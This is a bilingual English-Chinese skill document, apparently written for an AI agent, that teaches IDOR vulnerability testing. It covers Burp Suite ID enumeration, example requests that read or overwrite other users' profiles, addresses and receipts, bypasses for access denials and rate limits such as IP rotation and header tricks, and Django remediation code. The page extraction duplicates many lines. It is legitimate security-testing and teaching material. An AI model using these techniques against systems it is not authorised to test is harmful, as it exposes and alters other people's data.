idor-testing
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseIDOR Vulnerability Testing
IDOR漏洞测试
Purpose
目的
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
提供用于识别和利用Web应用程序中不安全直接对象引用(IDOR)漏洞的系统方法。此技能涵盖数据库对象引用和静态文件引用、使用参数操纵与枚举的检测技术、通过Burp Suite进行的利用操作,以及保护应用程序免受未授权访问的修复策略。
Inputs / Prerequisites
输入/前提条件
- Target Web Application: URL of application with user-specific resources
- Multiple User Accounts: At least two test accounts to verify cross-user access
- Burp Suite or Proxy Tool: Intercepting proxy for request manipulation
- Authorization: Written permission for security testing
- Understanding of Application Flow: Knowledge of how objects are referenced (IDs, filenames)
- 目标Web应用程序:包含用户特定资源的应用程序URL
- 多个用户账户:至少两个测试账户,用于验证跨用户访问情况
- Burp Suite或代理工具:用于请求操纵的拦截代理
- 授权:安全测试的书面许可
- 应用程序流程理解:了解对象的引用方式(ID、文件名)
Outputs / Deliverables
输出/交付成果
- IDOR Vulnerability Report: Documentation of discovered access control bypasses
- Proof of Concept: Evidence of unauthorized data access across user contexts
- Affected Endpoints: List of vulnerable API endpoints and parameters
- Impact Assessment: Classification of data exposure severity
- Remediation Recommendations: Specific fixes for identified vulnerabilities
- IDOR漏洞报告:已发现的访问控制绕过问题的文档记录
- 概念验证:跨用户上下文未授权数据访问的证据
- 受影响端点:存在漏洞的API端点和参数列表
- 影响评估:数据泄露严重程度的分类
- 修复建议:针对已识别漏洞的具体修复方案
Core Workflow
核心工作流程
1. Understand IDOR Vulnerability Types
1. 了解IDOR漏洞类型
Direct Reference to Database Objects
数据库对象的直接引用
Occurs when applications reference database records via user-controllable parameters:
undefined当应用程序通过用户可控参数引用数据库记录时会出现此类情况:
undefinedOriginal URL (authenticated as User A)
Original URL (authenticated as User A)
example.com/user/profile?id=2023
example.com/user/profile?id=2023
Manipulation attempt (accessing User B's data)
Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
undefinedexample.com/user/profile?id=2022
undefinedDirect Reference to Static Files
静态文件的直接引用
Occurs when applications expose file paths or names that can be enumerated:
undefined当应用程序暴露可被枚举的文件路径或名称时会出现此类情况:
undefinedOriginal URL (User A's receipt)
Original URL (User A's receipt)
example.com/static/receipt/205.pdf
example.com/static/receipt/205.pdf
Manipulation attempt (User B's receipt)
Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
undefinedexample.com/static/receipt/200.pdf
undefined2. Reconnaissance and Setup
2. 侦察与设置
Create Multiple Test Accounts
创建多个测试账户
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to accessAccount 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to accessIdentify Object References
识别对象引用
Capture and analyze requests containing:
- Numeric IDs in URLs:
/api/user/123 - Numeric IDs in parameters:
?id=123&action=view - Numeric IDs in request body:
{"userId": 123} - File paths:
/download/receipt_123.pdf - GUIDs/UUIDs:
/profile/a1b2c3d4-e5f6-...
捕获并分析包含以下内容的请求:
- URL中的数字ID:
/api/user/123 - 参数中的数字ID:
?id=123&action=view - 请求体中的数字ID:
{"userId": 123} - 文件路径:
/download/receipt_123.pdf - GUID/UUID:
/profile/a1b2c3d4-e5f6-...
Map User IDs
映射用户ID
undefinedundefinedAccess user ID endpoint (if available)
Access user ID endpoint (if available)
GET /api/user-id/
GET /api/user-id/
Note ID patterns:
Note ID patterns:
- Sequential integers (1, 2, 3...)
- Sequential integers (1, 2, 3...)
- Auto-incremented values
- Auto-incremented values
- Predictable patterns
- Predictable patterns
undefinedundefined3. Detection Techniques
3. 检测技术
URL Parameter Manipulation
URL参数操纵
undefinedundefinedStep 1: Capture original authenticated request
Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session
Step 2: Modify ID to target another user
Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
Vulnerable if: Returns victim's data with attacker's session
Vulnerable if: Returns victim's data with attacker's session
undefinedundefinedRequest Body Manipulation
请求体操纵
undefinedundefinedOriginal POST request
Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
Modified request targeting victim
Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
undefined{"id": 5, "userId": 1000, "address": "123 Attacker St"}
undefinedHTTP Method Switching
HTTP方法切换
undefinedundefinedOriginal GET request may be protected
Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden
GET /api/admin/users/1000 → 403 Forbidden
Try alternative methods
Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
undefinedPOST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
undefined4. Exploitation with Burp Suite
4. 使用Burp Suite进行利用
Manual Exploitation
手动利用
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's dataAutomated Enumeration with Intruder
使用Intruder进行自动枚举
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codes1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
- Type: Numbers
- Range: 1 to 10000
- Step: 1
6. Start attack
7. Analyze responses for 200 status codesBattering Ram Attack for Multiple Positions
多位置的Battering Ram攻击
undefinedundefinedWhen same ID appears in multiple locations
When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
undefinedPUT /api/addresses/§5§/update HTTP/1.1
{"id": §5§, "userId": 3}
Attack Type: Battering Ram
Payload: Numbers 1-1000
undefined5. Common IDOR Locations
5. 常见IDOR位置
API Endpoints
API端点
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/deleteFile Downloads
文件下载
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsxQuery Parameters
查询参数
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.comQuick Reference
快速参考
IDOR Testing Checklist
IDOR测试清单
| Test | Method | Indicator of Vulnerability |
|---|---|---|
| Increment/Decrement ID | Change | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test | Unexpected data or errors |
| Large Values | Test | System information disclosure |
| String IDs | Change format | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
| 测试项 | 方法 | 漏洞指示 |
|---|---|---|
| 递增/递减ID | 将 | 返回其他用户的数据 |
| 使用受害者ID | 替换为已知的受害者ID | 被授予访问受害者资源的权限 |
| 枚举范围 | 测试ID 1-1000 | 找到其他用户的有效记录 |
| 负值 | 测试 | 出现意外数据或错误 |
| 大数值 | 测试 | 系统信息泄露 |
| 字符串ID | 更改格式 | 逻辑绕过 |
| GUID操纵 | 修改UUID部分 | 可预测的UUID模式 |
Response Analysis
响应分析
| Status Code | Interpretation |
|---|---|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |
| 状态码 | 解释 |
|---|---|
| 200 OK | 潜在IDOR漏洞 - 验证数据所有权 |
| 403 Forbidden | 访问控制正常工作 |
| 404 Not Found | 资源不存在 |
| 401 Unauthorized | 需要身份验证 |
| 500 Error | 潜在的输入验证问题 |
Common Vulnerable Parameters
常见易受攻击的参数
| Parameter Type | Examples |
|---|---|
| User identifiers | |
| Resource identifiers | |
| Order/Transaction | |
| Message/Communication | |
| File references | |
| 参数类型 | 示例 |
|---|---|
| 用户标识符 | |
| 资源标识符 | |
| 订单/交易 | |
| 消息/通信 | |
| 文件引用 | |
Constraints and Limitations
约束与限制
Operational Boundaries
操作边界
- Requires at least two valid user accounts for verification
- Some applications use session-bound tokens instead of IDs
- GUID/UUID references harder to enumerate but not impossible
- Rate limiting may restrict enumeration attempts
- Some IDOR requires chained vulnerabilities to exploit
- 需要至少两个有效用户账户进行验证
- 部分应用程序使用会话绑定令牌而非ID
- GUID/UUID引用更难枚举,但并非不可能
- 速率限制可能会限制枚举尝试
- 某些IDOR漏洞需要结合其他漏洞才能利用
Detection Challenges
检测挑战
- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
- Blind IDOR where response doesn't confirm access
- Time-based IDOR in asynchronous operations
- IDOR in websocket communications
- 横向权限提升(用户到用户)与纵向权限提升(用户到管理员)的区别
- 盲IDOR:响应无法确认访问情况
- 异步操作中的基于时间的IDOR
- WebSocket通信中的IDOR
Legal Requirements
法律要求
- Only test applications with explicit authorization
- Document all testing activities and findings
- Do not access, modify, or exfiltrate real user data
- Report findings through proper disclosure channels
- 仅对获得明确授权的应用程序进行测试
- 记录所有测试活动和发现
- 不得访问、修改或泄露真实用户数据
- 通过适当的披露渠道报告发现的问题
Examples
示例
Example 1: Basic ID Parameter IDOR
示例1:基础ID参数IDOR
undefinedundefinedLogin as attacker (userId=1001)
Login as attacker (userId=1001)
Navigate to profile page
Navigate to profile page
Original request
Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123
Response: Attacker's profile data
Response: Attacker's profile data
Modified request (targeting victim userId=1000)
Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123
Vulnerable Response: Victim's profile data returned!
Vulnerable Response: Victim's profile data returned!
undefinedundefinedExample 2: IDOR in Address Update Endpoint
示例2:地址更新端点中的IDOR
undefinedundefinedIntercept address update request
Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session
{
"id": 5,
"userId": 1001,
"street": "123 Main St",
"city": "Test City"
}
Modify userId to victim's ID
Modify userId to victim's ID
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
{
"id": 5,
"userId": 1000, # Changed from 1001
"street": "Hacked Address",
"city": "Exploit City"
}
If 200 OK: Address created under victim's account
If 200 OK: Address created under victim's account
undefinedundefinedExample 3: Static File IDOR
示例3:静态文件IDOR
undefinedundefinedDownload own receipt
Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session
Response: PDF of attacker's receipt (order #5)
Response: PDF of attacker's receipt (order #5)
Attempt to access other receipts
Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session
Vulnerable Response: PDF of victim's receipt (order #3)!
Vulnerable Response: PDF of victim's receipt (order #3)!
undefinedundefinedExample 4: Burp Intruder Enumeration
示例4:Burp Intruder枚举
undefinedundefinedConfigure Intruder attack
Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body
Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1
Body Template:
{
"id": §1§,
"userId": 3
}
Analyze results:
Analyze results:
- 200 responses indicate successful modification
- 200 responses indicate successful modification
- Check victim's account for new addresses
- Check victim's account for new addresses
undefinedundefinedExample 5: Horizontal to Vertical Escalation
示例5:横向到纵向权限提升
undefinedundefinedStep 1: Enumerate user roles
Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}
Step 2: Access admin functions with discovered ID
Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session
If accessible: Vertical privilege escalation achieved
If accessible: Vertical privilege escalation achieved
undefinedundefinedTroubleshooting
故障排除
Issue: All Requests Return 403 Forbidden
问题:所有请求均返回403 Forbidden
Cause: Server-side access control is implemented
Solution:
undefined原因:服务器端已实现访问控制
解决方案:
undefinedTry alternative attack vectors:
Try alternative attack vectors:
- HTTP method switching (GET → POST → PUT)
- Add X-Original-URL or X-Rewrite-URL headers
- Try parameter pollution: ?id=1001&id=1000
- URL encoding variations: %31%30%30%30 for "1000"
- Case variations for string IDs
undefined- HTTP method switching (GET → POST → PUT)
- Add X-Original-URL or X-Rewrite-URL headers
- Try parameter pollution: ?id=1001&id=1000
- URL encoding variations: %31%30%30%30 for "1000"
- Case variations for string IDs
undefinedIssue: Application Uses UUIDs Instead of Sequential IDs
问题:应用程序使用UUID而非连续ID
Cause: Randomized identifiers reduce enumeration risk
Solution:
undefined原因:随机标识符降低了枚举风险
解决方案:
undefinedUUID discovery techniques:
UUID discovery techniques:
- Check response bodies for leaked UUIDs
- Search JavaScript files for hardcoded UUIDs
- Check API responses that list multiple objects
- Look for UUID patterns in error messages
- Try UUID v1 (time-based) prediction if applicable
undefined- Check response bodies for leaked UUIDs
- Search JavaScript files for hardcoded UUIDs
- Check API responses that list multiple objects
- Look for UUID patterns in error messages
- Try UUID v1 (time-based) prediction if applicable
undefinedIssue: Session Token Bound to User
问题:会话令牌与用户绑定
Cause: Application validates session against requested resource
Solution:
undefined原因:应用程序会验证会话与请求资源是否匹配
解决方案:
undefinedAdvanced bypass attempts:
Advanced bypass attempts:
- Test for IDOR in unauthenticated endpoints
- Check password reset/email verification flows
- Look for IDOR in file upload/download
- Test API versioning: /api/v1/ vs /api/v2/
- Check mobile API endpoints (often less protected)
undefined- Test for IDOR in unauthenticated endpoints
- Check password reset/email verification flows
- Look for IDOR in file upload/download
- Test API versioning: /api/v1/ vs /api/v2/
- Check mobile API endpoints (often less protected)
undefinedIssue: Rate Limiting Blocks Enumeration
问题:速率限制阻止枚举
Cause: Application implements request throttling
Solution:
undefined原因:应用程序实现了请求限流
解决方案:
undefinedBypass techniques:
Bypass techniques:
- Add delays between requests (Burp Intruder throttle)
- Rotate IP addresses (proxy chains)
- Target specific high-value IDs instead of full range
- Use different endpoints for same resources
- Test during off-peak hours
undefined- Add delays between requests (Burp Intruder throttle)
- Rotate IP addresses (proxy chains)
- Target specific high-value IDs instead of full range
- Use different endpoints for same resources
- Test during off-peak hours
undefinedIssue: Cannot Verify IDOR Impact
问题:无法验证IDOR影响
Cause: Response doesn't clearly indicate data ownership
Solution:
undefined原因:响应未明确指示数据所有权
解决方案:
undefinedVerification methods:
Verification methods:
- Create unique identifiable data in victim account
- Look for PII markers (name, email) in responses
- Compare response lengths between users
- Check for timing differences in responses
- Use secondary indicators (creation dates, metadata)
undefined- Create unique identifiable data in victim account
- Look for PII markers (name, email) in responses
- Compare response lengths between users
- Check for timing differences in responses
- Use secondary indicators (creation dates, metadata)
undefinedRemediation Guidance
修复指南
Implement Proper Access Control
实施适当的访问控制
python
undefinedpython
undefinedDjango example - validate ownership
Django example - validate ownership
def update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)undefineddef update_address(request, address_id):
address = Address.objects.get(id=address_id)
# Verify ownership before allowing update
if address.user != request.user:
return HttpResponseForbidden("Unauthorized")
# Proceed with update
address.update(request.data)undefinedUse Indirect References
使用间接引用
python
undefinedpython
undefinedInstead of: /api/address/123
Instead of: /api/address/123
Use: /api/address/current-user/billing
Use: /api/address/current-user/billing
def get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
undefineddef get_address(request):
# Always filter by authenticated user
address = Address.objects.filter(user=request.user).first()
return address
undefinedServer-Side Validation
服务器端验证
python
undefinedpython
undefinedAlways validate on server, never trust client input
Always validate on server, never trust client input
def download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)undefineddef download_receipt(request, receipt_id):
receipt = Receipt.objects.filter(
id=receipt_id,
user=request.user # Critical: filter by current user
).first()
if not receipt:
return HttpResponseNotFound()
return FileResponse(receipt.file)undefinedWhen to Use
使用场景
This skill is applicable to execute the workflow or actions described in the overview.
当需要执行概述中描述的工作流程或操作时,适用此技能。